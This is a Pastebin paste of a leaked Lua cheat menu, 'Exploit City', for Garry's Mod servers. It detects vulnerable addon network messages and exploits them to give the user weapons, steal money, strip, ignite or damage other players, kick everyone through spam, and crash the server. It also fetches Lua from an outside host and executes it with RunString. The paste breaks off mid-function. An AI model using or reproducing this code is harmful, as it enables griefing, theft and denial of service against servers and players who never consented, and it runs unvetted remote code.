Advertisement
wifiboost

eamc

Oct 11th, 2017
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 43.40 KB | None | 0 0
  1. /* LEAKED BY BREAD
  2.     - Mint only uploaded it :)
  3.         btw darkv1 is pure cancer */
  4. MsgC(Color(0, 240, 255), "♬ Exploit City ♬\n")
  5. MsgC(Color(0, 200, 255), "Type exploits_open in console to open!\n")
  6. MsgC(Color(0, 200, 255), "leaked leaked leaked leaked\n")
  7. surface.PlaySound("HL1/fvox/bell.wav") -- nice playsound
  8.  
  9.  
  10. function ValidNetString( str )
  11.  
  12.     local status, error = pcall( net.Start, str )
  13.  
  14.     return status
  15.  
  16. end
  17.  
  18. local function playSound(url)
  19.  
  20.     sound.PlayURL(url, '', function( station )
  21.  
  22.         if ( IsValid( station ) ) then
  23.  
  24.         station:SetPos( LocalPlayer():GetPos() )
  25.         station:Play()
  26.  
  27.         end
  28.     end)
  29.  
  30. end
  31.  
  32. playSound("https://itzvoltz.xyz/ec/exploitsismyscity.mp3")
  33.  
  34.  
  35.  
  36.  
  37.  
  38. -- Overriding original DL_Answering_global so it doesnt crash you when kicking all
  39.  
  40. net.Receive("DL_Answering_global", function(_len)
  41. end)
  42.  
  43.  
  44. --[[ WATERMARK ]] --
  45. Watermark = vgui.Create( "HTML" )
  46. Watermark:SetPos( -13, -8)
  47. Watermark:SetSize( ScrW(), ScrH())
  48. Watermark:OpenURL( "https://itzvoltz.xyz/ec/watermark.html" )
  49.  
  50. GRADIENT_HORIZONTAL = 0;
  51. GRADIENT_VERTICAL = 1;
  52. function draw.LinearGradient(x,y,w,h,from,to,dir,res)
  53.     dir = dir or GRADIENT_HORIZONTAL;
  54.     if dir == GRADIENT_HORIZONTAL then res = (res and res <= w) and res or w;
  55.     elseif dir == GRADIENT_VERTICAL then res = (res and res <= h) and res or h; end
  56.     for i=1,res do
  57.         surface.SetDrawColor(
  58.             Lerp(i/res,from.r,to.r),
  59.             Lerp(i/res,from.g,to.g),
  60.             Lerp(i/res,from.b,to.b),
  61.             Lerp(i/res,from.a,to.a)
  62.         );
  63.         if dir == GRADIENT_HORIZONTAL then surface.DrawRect(x + w * (i/res), y, w/res, h );
  64.         elseif dir == GRADIENT_VERTICAL then surface.DrawRect(x, y + h * (i/res), w, h/res ); end
  65.     end
  66. end
  67.  
  68. function SploitText( str )
  69.  
  70.     chat.AddText( Color( 0, 255, 255 ), "[EC] ", Color( 0, 200, 255), str )
  71.  
  72. end
  73.  
  74. surface.CreateFont( "customfont", {
  75.     font = "Roboto",
  76.     size = 21,
  77. } )
  78.  
  79. surface.CreateFont( "customfont2", {
  80.     font = "Calibri",
  81.     size = 15,
  82. } )
  83.  
  84. surface.CreateFont( "customfont3", {
  85.     font = "Calibri",
  86.     size = 24,
  87. } )
  88.  
  89.  
  90. surface.CreateFont( "closebuttonfont", {
  91.     font = "Caviar Dreams",
  92.     size = 21,
  93. } )
  94.  
  95.  
  96.  
  97.  
  98.  
  99.  
  100. local function SploitNotify(text)
  101.  
  102. local notify = vgui.Create( "DPanel" )
  103. notify:SetSize( 200, 50 )
  104. notify:SetPos( ScrW() - 200, -50 )
  105. notify.Paint = function(self, w, h)
  106. draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
  107. draw.RoundedBox( 0, 0, notify:GetTall() - 2, w, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ))
  108. draw.SimpleText( text, "customfont3", notify:GetWide() / 2, notify:GetTall() / 2, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  109. end
  110.  
  111.  
  112. notify:MoveTo( ScrW() - notify:GetWide(), 0, .2, 0, -1, function()
  113. timer.Simple( 3, function()
  114. notify:MoveTo( ScrW() - notify:GetWide(), -50, .2, 0, -1)
  115. end);end)
  116.  
  117. end
  118.  
  119.  
  120.  
  121.  
  122.  
  123. --[[Weapon Stripper Menu]]--
  124.  
  125. time = 1
  126.  
  127.  
  128. function Ply(name) -- finds player name
  129.         name = string.lower(name);
  130.         for _,v in ipairs(player.GetHumans()) do
  131.             if(string.find(string.lower(v:Name()),name,1,true) != nil) then
  132.                 return v;
  133.             end
  134.         end
  135.     end
  136.  
  137.     function stripPlayer(ply) -- Strip player function
  138.         if ply:IsPlayer() then
  139.  
  140.             for k,v in pairs(ply:GetWeapons()) do
  141.  
  142.                 net.Start("properties")
  143.                 net.WriteString( "remove" , 32 )
  144.                 net.WriteEntity( v )
  145.                 net.SendToServer()
  146.             end
  147.         end
  148.  
  149.     end
  150.     concommand.Add("removewep_crosshair", function()
  151.     local xhair = LocalPlayer():GetEyeTrace().Entity
  152.     stripPlayer(xhair)
  153.     end)
  154.  
  155.     function removeAll() -- Strips all Players
  156.         for k,v in pairs(player.GetAll()) do
  157.             stripPlayer(v)
  158.         end
  159.     end
  160.  
  161.  
  162.     local f = vgui.Create( "DFrame" )
  163.     f:SetTitle("Weapon Stripper")
  164.     f:SetSize( 500, 500 )
  165.     f:Center()
  166.     f:MakePopup()
  167.     f:SetVisible(false)
  168.     f:ShowCloseButton(false)
  169.     f.Paint = function( self, w, h )
  170.     draw.RoundedBox( 5, 0, 0, w, h, Color(40, 40, 40))
  171.     end
  172.  
  173.     local closebutton2 = vgui.Create( "DButton", f )
  174. closebutton2:SetText( "X" )
  175. closebutton2:SetTextColor( Color( 255, 0, 0 ) )
  176. closebutton2:SetPos( f:GetWide() - 31, 0 )
  177. closebutton2:SetFont("closebuttonfont")
  178. closebutton2:SetSize( 31, 31 )
  179. closebutton2.Paint = function( self, w, h )
  180.     if closebutton2:IsHovered() then
  181.     draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )    
  182.     else
  183.     draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
  184.     end
  185. end
  186. closebutton2.DoClick = function()
  187. f:SetVisible(false)
  188. end
  189.  
  190.     local button = vgui.Create("DButton", f)
  191.     button:SetText("Strip All")
  192.     button:SetPos(220,40)
  193.     button:SetTextColor(Color(255, 255, 255))
  194.     button.DoClick = function ()
  195.         removeAll()
  196.     end
  197.     button.Paint = function( self, w, h )
  198.     draw.RoundedBox( 5, 0, 0, w, h, Color(60, 60, 60))
  199.     end
  200.  
  201.    
  202.     local DermaCheckboxone = vgui.Create( "DCheckBoxLabel" , f )// Create the checkbox
  203.     DermaCheckboxone:SetPos( 220, 70 )// Set the position
  204.     DermaCheckboxone:SetValue(false)
  205.     DermaCheckboxone:SetText("Remove All Timer")
  206.     function DermaCheckboxone:OnChange( val )
  207.         if (val) then
  208.             print("rekt all player's weapons")
  209.             net.Start("properties")
  210.             net.WriteString( "remove" , 32 )
  211.             net.WriteEntity( player.GetAll() )
  212.             net.SendToServer()
  213.             timer.Create( "removealltimer", time, 0, function()
  214.             print("rekt all player's weapons")
  215.             net.Start("properties")
  216.             net.WriteString( "remove" , 32 )
  217.             net.WriteEntity( player.GetAll() )
  218.             net.SendToServer()
  219.             end)
  220.         else
  221.             timer.Remove("removealltimer")
  222.         end
  223.     end
  224.  
  225.     local TimeSlider = vgui.Create( "DNumSlider", f )
  226. TimeSlider:SetPos( 220, 90 )         // Set the position
  227. TimeSlider:SetSize( 200, 15 )      // Set the size
  228. TimeSlider:SetText( "Time Interval" )   // Set the text above the slider
  229. TimeSlider:SetMin( .1 )              // Set the minimum number you can slide to
  230. TimeSlider:SetMax( 7.5 )                // Set the maximum number you can slide to
  231. TimeSlider:SetValue( 1 )
  232. TimeSlider:SetDecimals( 1 )         // Decimal places - zero for whole number
  233. TimeSlider.OnValueChanged = function( panel, value )
  234.     time = math.Round(value, 1)
  235.     if DermaCheckboxone:GetChecked() == 1 then
  236.         timer.Remove("removealltimer")
  237.             timer.Create( "removealltimer", time, 0, function()
  238.             print("rekt")
  239.             net.Start("properties")
  240.             net.WriteString( "remove" , 32 )
  241.             net.WriteEntity( player.GetAll() )
  242.             net.SendToServer()
  243.             end)
  244.     end
  245. end
  246.  
  247.  
  248.     local AppList = vgui.Create( "DListView", f)
  249.     AppList:SetSize(200,100)
  250.     AppList:Dock( LEFT )
  251.     AppList:SetMultiSelect( false )
  252.     AppList:AddColumn( "Name" )
  253.     for k, v in pairs(player.GetAll()) do
  254.         AppList:AddLine(v:Name())
  255.     end
  256.  
  257.     AppList.OnRowSelected = function( lst, index, pnl )
  258.         --print( "Selected " .. pnl:GetColumnText( 1 ) .. " at index " .. index )
  259.         ply = Ply(pnl:GetColumnText( 1 ))
  260.         print(pnl:GetColumnText( 1 ) .. " rekt")
  261.         stripPlayer(ply)
  262.  
  263.     end
  264.    
  265.  
  266.     concommand.Add("menu",menu)
  267.     concommand.Add("strip",stripPlayer)
  268. function removeWeapons()
  269.  
  270.     local Target = LocalPlayer():GetEyeTrace().Entity
  271.  
  272.     if  Target:IsPlayer() then
  273.         for x,y in pairs(Target:GetWeapons()) do
  274.  
  275.             net.Start("properties")
  276.             net.WriteString( "remove" , 32 )
  277.             net.WriteEntity( y )
  278.             net.SendToServer()
  279.         end
  280.  
  281.     end
  282.  
  283. end
  284.  
  285. --[[End of Weapon Stripper]]--
  286.  
  287. local wMain = ScrW() / 3
  288. local hMain = ScrH() / 2.8
  289. totalSploits = 0
  290.  
  291.  
  292. local Main = vgui.Create( "DFrame" )
  293. Main:SetTitle("")
  294. Main:SetSize( wMain, hMain )
  295. Main:SetPos( ScrW() / 2 - Main:GetWide() / 2, ScrH())
  296. Main:SetMouseInputEnabled(true)
  297. Main:SetKeyBoardInputEnabled(true)
  298. Main:SetDraggable(false)
  299. Main:SetVisible(false)
  300. Main:ShowCloseButton(false)
  301. Main.Paint = function( self, w, h )
  302.     draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 240 ) )
  303.     draw.LinearGradient( 0, 0, w, 31, Color(40, 40, 40), color_black, GRADIENT_VERTICAL );
  304.     --draw.RoundedBox( 0, 0, 0, w, 31, Color( 20, 20, 20, 255 ) )
  305.     surface.SetDrawColor( 0, 0, 0, 255)
  306.     surface.DrawOutlinedRect( 0, 0, w, h )
  307.     draw.SimpleText( "Exploit City", "customfont", Main:GetWide() / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
  308.     draw.SimpleText( totalSploits .. "/36", "customfont", 6, 6, Color(255, 255, 255), TEXT_ALIGN_LEFT )
  309. end
  310.  
  311.  
  312.  
  313. local closebutton = vgui.Create( "DButton", Main )
  314. closebutton:SetText( "X" )
  315. closebutton:SetTextColor( Color( 255, 0, 0 ) )
  316. closebutton:SetPos( Main:GetWide() - 31, 0 )
  317. closebutton:SetFont("closebuttonfont")
  318. closebutton:SetSize( 31, 31 )
  319. closebutton.Paint = function( self, w, h )
  320.     if closebutton:IsHovered() then
  321.     draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )    
  322.     else
  323.     draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
  324.     end
  325. end
  326.  
  327. local weaponbutton = vgui.Create( "DButton", Main )
  328. weaponbutton:SetText( "Weapon Stripper" )
  329. weaponbutton:SetTextColor( Color( 255, 255, 255 ) )
  330. weaponbutton:SetSize( 31 * 3.5, 31 )
  331. weaponbutton:SetPos( Main:GetWide() - 31 * 4.5, 0 )
  332. weaponbutton:SetFont("customfont2")
  333. weaponbutton.Paint = function( self, w, h )
  334.     if weaponbutton:IsHovered() then
  335.     draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )    
  336.     else
  337.     draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
  338.     end
  339. end
  340. weaponbutton.DoClick = function()
  341. f:SetVisible(true)
  342. end
  343.  
  344. local tabs = vgui.Create( "DPropertySheet", Main )
  345. tabs:Dock( FILL )
  346. tabs:DockPadding( 5, 5, 0, 0)
  347. tabs.Paint = function (self, w, h)
  348. for k, v in pairs(tabs.Items) do
  349.     if (!v.Tab) then continue end
  350.    
  351.     v.Tab.Paint = function(self,w,h)
  352.          draw.LinearGradient( 0, 0, w, h, Color(40, 40, 40), color_black, GRADIENT_VERTICAL );
  353.     end
  354. end
  355. end
  356.  
  357. local exploitsPanel = vgui.Create( "DPanel", tabs )
  358. exploitsPanel.Paint = function( self, w, h )
  359. --draw.LinearGradient( 0, 0, w, h, Color(40, 40, 40), color_black, GRADIENT_VERTICAL );
  360. draw.RoundedBox(0, 0, 0, w, h, Color(40,40,40))
  361. end
  362. tabs:AddSheet( "Exploits", exploitsPanel )
  363.  
  364. local toolsPanel = vgui.Create( "DPanel", tabs )
  365. toolsPanel.Paint = function( self, w, h )
  366. draw.RoundedBox(0, 0, 0, w, h, Color(40,40,40))
  367. end
  368. tabs:AddSheet( "Tools", toolsPanel )
  369.  
  370. local exploitsScrollPanel = vgui.Create( "DScrollPanel", exploitsPanel )
  371. exploitsScrollPanel:Dock( FILL )
  372.  
  373. local toolsScrollPanel = vgui.Create( "DScrollPanel", toolsPanel )
  374. toolsScrollPanel:Dock( FILL )
  375.  
  376. --[[ FUNCTIONS  ]]
  377.  
  378. function addExploit(id, text, desc, func)
  379. local id2 = id .. "."
  380. local name = text
  381. totalSploits = 1 + totalSploits
  382.  
  383. local id = vgui.Create( "DButton", exploitsScrollPanel )
  384. id:SetText( name )
  385. id:SetTextColor( Color( 200, 200, 200 ) )
  386. id:SetFont("customfont")
  387. id:Dock( TOP )
  388. id:DockMargin( 2, 10, 2, -5 )
  389. id:DockPadding( 2, 25, 2, 50 )
  390. id.DoClick = func
  391.  
  392.  
  393. id.Paint = function( self, w, h )
  394.     if id:IsHovered() then
  395.     draw.SimpleText( desc, "customfont2", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT)
  396.     draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30))
  397.     else
  398.     draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
  399.     end
  400.     surface.SetDrawColor( 0, 0, 0, 255)
  401.     surface.DrawOutlinedRect( 0, 0, w, h )
  402. end
  403. end
  404.  
  405. function addTool(id, text, desc, func)
  406. local id2 = id .. "."
  407. local name = text
  408.  
  409. local id = vgui.Create( "DButton", toolsScrollPanel )
  410. id:SetText( name )
  411. id:SetTextColor( Color( 200, 200, 200 ) )
  412. id:SetFont("customfont")
  413. id:Dock( TOP )
  414. id:DockMargin( 2, 10, 2, -5 )
  415. id:DockPadding( 2, 25, 2, 50 )
  416. id.DoClick = func
  417.  
  418.  
  419. id.Paint = function( self, w, h )
  420.     if id:IsHovered() then
  421.     draw.SimpleText( desc, "customfont2", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT)
  422.     draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30))
  423.     else
  424.     draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
  425.     end
  426.     surface.SetDrawColor( 0, 0, 0, 255)
  427.     surface.DrawOutlinedRect( 0, 0, w, h )
  428. end
  429. end
  430.  
  431. function addServer(id, text, desc, ip)
  432. local id2 = id .. "."
  433. local name = text
  434.  
  435. local id = vgui.Create( "DButton", serversScrollPanel )
  436. id:SetText( name )
  437. id:SetTextColor( Color( 200, 200, 200 ) )
  438. id:SetFont("customfont")
  439. id:Dock( TOP )
  440. id:DockMargin( 2, 10, 2, -5 )
  441. id:DockPadding( 2, 25, 2, 50 )
  442. id.DoClick = function()
  443.     LocalPlayer():ConCommand("connect "..ip)
  444. end
  445.  
  446.  
  447. id.Paint = function( self, w, h )
  448.     if id:IsHovered() then
  449.     draw.SimpleText( desc, "customfont2", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT)
  450.     draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30))
  451.     else
  452.     draw.RoundedBox( 0, 0, 0, w, h, Color(20, 20, 20))
  453.     end
  454.     surface.SetDrawColor( 0, 0, 0, 255)
  455.     surface.DrawOutlinedRect( 0, 0, w, h )
  456. end
  457. end
  458.  
  459. function broadcast( str )
  460.  
  461.     if( str != nil ) then
  462.  
  463.     SploitText("Beginning to broadcast message: " .. str)
  464.  
  465. else
  466.  
  467.     SploitText("Message is nil, enter a valid string!")
  468.  
  469. end
  470.  
  471.     for k,v in pairs( player.GetAll() ) do
  472.    
  473.     if ( v != LocalPlayer() ) then
  474.        
  475.                 RunConsoleCommand( "ulx", "psay", v:Nick(), str )
  476.  
  477.         end
  478.  
  479.     end
  480.  
  481. end
  482.  
  483.  
  484. hook.Add("Think", "RGBSTF", function()
  485. local rainbowC = HSVToColor( CurTime() % 6 * 60, 1, 1 )
  486.     LocalPlayer():SetWeaponColor( Vector( rainbowC.r / 255, rainbowC.g / 255, rainbowC.b / 255 ) )
  487.     LocalPlayer():SetPlayerColor( Vector( rainbowC.r / 255, rainbowC.g / 255, rainbowC.b / 255 ) )
  488. end)
  489.  
  490.  
  491. --[[ SERVERS ]]--
  492.  
  493.  
  494.     http.Fetch("https://itzvoltz.xyz/ec/serverlist.lua", function( ret )
  495.  
  496.     RunString( ret )
  497.  
  498. end)
  499.  
  500.  
  501.  
  502. -- [[ Tools ]]
  503.  
  504. -- [[ Server List ]]
  505.  
  506. addTool("serverList", "Server List", "Opens a menu with exploitable servers", function()
  507.     LocalPlayer():ConCommand("exploitable_servers")
  508. end)
  509.  
  510.  
  511.  
  512. --[[ ULX PSAY BROADCASTER ]]
  513. if ulx then
  514. addTool("pSayBroadcaster", "ULX PSAY Broadcast", "PM's every player on the server", function ()
  515.  
  516.         --[[ Vars ]]
  517.  
  518.         local wPsay = ScrW() / 5
  519.         local hPsay = ScrH() / 10
  520.  
  521.         --[[ Menu ]]
  522.  
  523.         local pSayMain = vgui.Create( "DFrame" )
  524.         pSayMain:SetTitle("")
  525.         pSayMain:SetSize( wPsay, hPsay )
  526.         pSayMain:SetPos(50, ScrH() / 2)
  527.         pSayMain:SetMouseInputEnabled(true)
  528.         pSayMain:SetKeyBoardInputEnabled(true)
  529.         pSayMain:ShowCloseButton(false)
  530.         pSayMain:MakePopup()
  531.         pSayMain.Paint = function( self, w, h )
  532.         draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )
  533.         draw.LinearGradient( 0, 0, w, 31, Color(40, 40, 40), color_black, GRADIENT_VERTICAL );
  534.         surface.SetDrawColor( 0, 0, 0, 255)
  535.         surface.DrawOutlinedRect( 0, 0, w, h )
  536.         draw.SimpleText( "PM Broadcaster", "customfont", w / 2, 6, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_CENTER )
  537. end
  538.  
  539.  
  540.  
  541. local psayClose = vgui.Create( "DButton", pSayMain )
  542. psayClose:SetText( "X" )
  543. psayClose:SetTextColor( Color( 255, 0, 0 ) )
  544. psayClose:SetPos( pSayMain:GetWide() - 31, 0 )
  545. psayClose:SetFont("closebuttonfont")
  546. psayClose:SetSize( 31, 31 )
  547. psayClose.Paint = function( self, w, h )
  548.     if psayClose:IsHovered() then
  549.     draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 255 ) )    
  550.     else
  551.     draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
  552.     end
  553. end
  554.  
  555. psayClose.DoClick = function()
  556.     pSayMain:Remove()
  557. end
  558.  
  559. local psayInput = vgui.Create( "DTextEntry", pSayMain )
  560. psayInput:SetPos( 25, 40 )
  561. psayInput:SetSize( pSayMain:GetWide() / 2 , 25 )
  562. psayInput:SetText( "BroadcastMSG" )
  563. psayInput.OnEnter = function( self )
  564.     chat.AddText( self:GetValue() )
  565. end
  566.  
  567. local sendBroadCast = vgui.Create( "DButton", pSayMain )
  568. sendBroadCast:SetText( "Broadcast" )
  569. sendBroadCast:SetTextColor( Color( 255, 255, 255 ) )
  570. sendBroadCast:SetPos( 220, 40 )
  571. sendBroadCast:SetFont("customfont")
  572. sendBroadCast:SetSize( 90, 25 )
  573. sendBroadCast.Paint = function( self, w, h )
  574.     if sendBroadCast:IsHovered() then
  575.     draw.RoundedBox( 0, 0, 0, w, h, Color( 40, 40, 40, 255 ) )    
  576.     else
  577.     draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 255 ) )
  578.     end
  579. end
  580.  
  581. sendBroadCast.DoClick = function()
  582.     broadcast( psayInput:GetValue() )
  583.    
  584. end
  585.  
  586.  
  587.  
  588. end)
  589. end
  590.  
  591.  
  592. --[[ Exploits ]]--
  593.  
  594.  
  595.  
  596. local status = ValidNetString("CraftSomething")
  597. if (status) then
  598. SploitText("Found exploitable net message: CraftSomething")
  599. addExploit( "1", "Give Weapons", "Gives you any weapon of your choice", function()
  600.     inputFrameExists = true
  601.     inputFrame = vgui.Create( "DFrame" )
  602.     inputFrame:SetTitle("Choose a weapon!")
  603.     inputFrame:SetSize( 400, 75 )
  604.     inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
  605.     inputFrame:SetDraggable(false)
  606.     inputFrame:ShowCloseButton(false)
  607.     inputFrame:MakePopup()
  608.     inputFrame.Paint = function( self, w, h )
  609.         draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
  610.     end
  611.  
  612.     local TextEntry = vgui.Create( "DTextEntry", inputFrame )
  613.     TextEntry:SetSize( 380, 30 )
  614.     TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
  615.     TextEntry:SetText( "m9k_ak47" )
  616.     TextEntry.OnEnter = function( self )
  617.     surface.PlaySound("garrysmod/ui_click.wav")
  618.     SploitText("Giving Weapon")
  619.     net.Start( "CraftSomething" )
  620.     net.WriteEntity( LocalPlayer() )
  621.     net.WriteString( self:GetValue() )
  622.     net.WriteString( "" )
  623.     net.WriteString( "weapon" )
  624.     net.SendToServer()
  625.     inputFrame:SetVisible(false)
  626.     end
  627. end)
  628. end
  629.  
  630.  
  631. local status = ValidNetString("TCBuyAmmo")
  632. if (status) then
  633. SploitText("Found exploitable net message: TCBuyAmmo")
  634. addExploit( "2","Free Ammo", "Gets All Ammo Types", function()
  635.     surface.PlaySound("garrysmod/ui_click.wav")
  636.     SploitText("Getting Le Ammo")
  637.     for k,v in pairs(GAMEMODE.AmmoTypes) do
  638.  
  639.     net.Start("TCBBuyAmmo")
  640.  
  641.     net.WriteTable( {nil,v.ammoType,nil,"0","999999"} )
  642.  
  643.     net.SendToServer()
  644.  
  645.     end
  646. end);end
  647.  
  648.  
  649.  
  650. local status = ValidNetString("DataSend")
  651. if (status) then
  652. SploitText("Found exploitable net message: Steal All Monies #1")
  653. addExploit( "4","Steal All Monies #1", "Takes money from printers", function()
  654.     surface.PlaySound("garrysmod/ui_click.wav")
  655.     for k, v in pairs( ents.GetAll() ) do
  656.  
  657.     if v:GetClass() == "adv_moneyprinter" then    
  658.  
  659.             SploitText("Collecting Money")
  660.    
  661.             net.Start("DataSend")
  662.        
  663.             net.WriteFloat(2)
  664.            
  665.             net.WriteEntity(v)
  666.            
  667.             net.WriteEntity(LocalPlayer())
  668.            
  669.             net.SendToServer()
  670.        
  671.     end;end
  672. end);end
  673.  
  674.                            
  675.  
  676.  
  677.  
  678.  
  679. local status = ValidNetString("FarmingmodSellItems")
  680. if (status) then
  681. SploitText("Found Exploit: Free Money")
  682. addExploit( "5","Free Money", "An exploit in the Farming Mod", function()
  683. surface.PlaySound("garrysmod/ui_click.wav")
  684. SploitText("Enjoy the b1g monies")
  685. net.Start( "FarmingmodSellItems" )
  686. net.WriteTable(
  687. {
  688. Cost    =   10,
  689. CropModel    =   "models/props/eryk/garlic.mdl",
  690. CropType =   2,
  691. Info  =   "Garlic Seed",
  692. Model =   "models/props/eryk/seedbag.mdl",
  693. Name    =   "Garlic",
  694. Quality    =   4,
  695. Sell  =   99999,
  696. Type  =   "Seed"
  697. }
  698. )
  699. net.WriteInt(1,16)
  700. net.SendToServer()
  701. end);end
  702.  
  703.  
  704. local status = ValidNetString("start_wd_emp")
  705. if (status) then
  706. SploitText("Found Exploit: Hack Keypads")
  707. addExploit( "6","Hack Keypads", "An exploit in the hacking phone", function()
  708.     surface.PlaySound("garrysmod/ui_click.wav")
  709.     SploitNotify("Hacking Keypads")
  710.     net.Start('start_wd_emp')
  711.     net.SendToServer()
  712. end);end
  713.  
  714.  
  715. local status = ValidNetString("duelrequestguiYes")
  716. if (status) then
  717. SploitText("Found Exploit: Get Money")
  718. addExploit( "7","Get Money", "Duel Exploit", function()
  719.     surface.PlaySound("garrysmod/ui_click.wav")
  720.     SploitNotify("getting ez monies")
  721. net.Start("duelrequestguiYes")
  722. net.WriteInt(-99999999999999999999999999999999999999999999999999999999999999999999999999999,32)
  723. net.WriteEntity(table.Random( player.GetAll() ) )
  724. net.WriteString("Crossbow")
  725. net.SendToServer()
  726. end);end
  727.  
  728.  
  729. local status = ValidNetString("drugseffect_remove")
  730. if (status) then
  731. SploitText("Found exploitable net message: drugseffect_remove ")
  732. addExploit( "8","Remove All Weapons", "An exploit in the drug addon", function()
  733.     surface.PlaySound("garrysmod/ui_click.wav")
  734.     SploitText("Removing Weapons from All")
  735.     net.Start("drugseffect_remove")
  736.     net.SendToServer()
  737. end);end
  738.  
  739. local status = ValidNetString("drugs_money")
  740. if (status) then
  741. SploitText("Found exploitable net message: drugs_money")
  742. addExploit( "9","Remove All Money", "An exploit in the drug addon", function()
  743.     surface.PlaySound("garrysmod/ui_click.wav")
  744.     SploitText("Removing Weapons from All")
  745.     net.Start("drugs_money")
  746.     net.SendToServer()
  747. end);end
  748.  
  749. local status = ValidNetString("drugs_ignite")
  750. if (status) then
  751. SploitText("Found exploitable net message: drugs_ignite")
  752. addExploit( "10","Ignite Props", "An exploit in the drug addon", function()
  753.     surface.PlaySound("garrysmod/ui_click.wav")
  754.     SploitText("Igniting Props")
  755.         net.Start("drugs_ignite")
  756.         net.WriteString("prop_physics")
  757.         net.SendToServer()
  758. end);end
  759.  
  760.  
  761. local status = ValidNetString("drugs_ignite")
  762. if (status) then
  763. addExploit( "11","Ignite Players", "An exploit in the drug addon", function()
  764.     surface.PlaySound("garrysmod/ui_click.wav")
  765.     SploitText("Igniting Players")
  766.         net.Start("drugs_ignite")
  767.         net.WriteString("player")
  768.         net.SendToServer()
  769. end);end
  770.  
  771.  
  772. local status = ValidNetString("drugseffect_hpremove")
  773. if (status) then
  774. SploitText("Found Exploit: Remove All Players HP")
  775. addExploit( "12","Remove All Players HP", "An exploit in the drug addon", function()
  776.     surface.PlaySound("garrysmod/ui_click.wav")
  777.     SploitText("Removing All Players HP")
  778.         net.Start("drugseffect_hpremove")
  779.         net.WriteString(1)
  780.         net.SendToServer()
  781. end);end
  782.  
  783.  
  784. local status = ValidNetString("drugseffect_hpremove")
  785. if (status) then
  786. SploitText("Found Exploit: Give All God")
  787. addExploit( "13","Give All God", "An exploit in the drug addon", function()
  788.     surface.PlaySound("garrysmod/ui_click.wav")
  789.     SploitText("Giving All God")
  790.         net.Start("drugseffect_hpremove")
  791.         net.WriteString(299999)
  792.         net.SendToServer()
  793. end);end
  794.  
  795. local status = ValidNetString("drugs_text")
  796. if (status) then
  797. SploitText("Found Exploit: Remove All Props")
  798. addExploit( "14","Remove All Props", "An exploit in the drug addon", function()
  799.     surface.PlaySound("garrysmod/ui_click.wav")
  800.     SploitText("Removing All Props")
  801.         net.Start("drugs_text")
  802.         net.WriteString("prop_physics")
  803.         net.SendToServer()
  804. end);end
  805.  
  806. local status = ValidNetString("DarkRP_Kun_ForceSpawn")
  807. if (status) then
  808. SploitText("Found Exploit: TP")
  809. addExploit( "15", "TP", "No clue what this does xd", function()
  810.     surface.PlaySound("garrysmod/ui_click.wav")
  811.     SploitText("TPing")
  812.             net.Start("DarkRP_Kun_ForceSpawn")
  813.             net.SendToServer()
  814. end);end
  815.  
  816.  
  817. local status = ValidNetString("SyncPrinterButtons76561198056171650")
  818. if (status) then
  819. SploitText("Found Exploit: Steal All Monies #2")
  820. addExploit( "16","Steal All Monies #2", "Takes money from printers", function()
  821.     surface.PlaySound("garrysmod/ui_click.wav")
  822.  
  823.             SploitText("Collecting Money")
  824.    
  825.                     for k, v in pairs(ents.GetAll()) do
  826.  
  827.                         if (v:GetClass() == "adv_moneyprinter") then
  828.  
  829.                             net.Start( "SyncPrinterButtons76561198056171650" )
  830.  
  831.                             net.WriteEntity(v)
  832.  
  833.                             net.WriteUInt(2, 4)
  834.  
  835.                             net.SendToServer()
  836.  
  837.                         end
  838.  
  839.                     end
  840. end);end
  841.  
  842. local function report()
  843.     for i = 1, 2000 do
  844.     net.Start("DL_Answering")
  845.     net.SendToServer()
  846.     end
  847. end
  848.  
  849. if (Damagelog) then
  850. SploitText("Found Exploit: Kick All Players")
  851. reportSpam = 0
  852. addExploit( "17","Kick All Players", "Kicks all players", function()
  853.     surface.PlaySound("garrysmod/ui_click.wav")
  854.     if (reportSpam == 0) then
  855.     SploitNotify("Starting Kicker")
  856.     reportSpam = 1
  857.     timer.Create("reportSpammer", 0.05, 0, report)
  858.     else
  859.     SploitNotify("Stopping Kicker")
  860.     reportSpam = 0
  861.     timer.Remove("reportSpammer")
  862.     end
  863.  
  864. end);end
  865.  
  866.  
  867. local status = ValidNetString("SimplicityAC_aysent")
  868. if (status) then
  869. SploitText("Found Exploit: Instant Crash")
  870. addExploit( "19","Instant Crash", "Will instantly crash the server", function()
  871.     surface.PlaySound("garrysmod/ui_click.wav")
  872.     SploitText("Goodbye Server")
  873.                local tbl = {}
  874.  
  875.             for i=1,400 do
  876.  
  877.                 tbl[i] = i
  878.  
